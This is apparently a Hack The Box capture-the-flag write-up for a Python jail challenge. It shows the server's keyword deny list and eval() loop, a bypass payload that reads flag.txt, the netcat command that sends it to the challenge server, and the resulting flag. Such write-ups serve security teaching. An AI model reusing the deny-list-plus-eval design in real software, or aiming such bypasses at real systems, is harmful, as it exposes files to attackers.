# Unbreakble
Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won't be easy. I'm ready for whatever tricks you have up your sleeve!
## Writeup
We can send some python code and it will be exeuted:
```pythonblacklist = [ ';', '"', 'os', '_', '\\', '/', '`',              ' ', '-', '!', '[', ']', '*', 'import',              'eval', 'banner', 'echo', 'cat', '%',               '&', '>', '<', '+', '1', '2', '3', '4',              '5', '6', '7', '8', '9', '0', 'b', 's',               'lower', 'upper', 'system', '}', '{' ]
while True:  ans = input('Break me, shake me!\n\n$ ').strip()   if any(char in ans for char in blacklist):    print(f'\n{banner1}\nNaughty naughty..\n')  else:    try:      eval(ans + '()')      print('WHAT WAS THAT?!\n')    except:      print(f"\n{banner2}\nI'm UNBREAKABLE!\n") ```
Just find some command that are not blacklisted:
```pythonprint(open('flag.txt').read())#```
Run it on the server:
```bashecho "print(open('flag.txt').read())#" | nc 94.237.57.155 44218```
This is the flag:
```HTB{3v4l_0r_3vuln??}```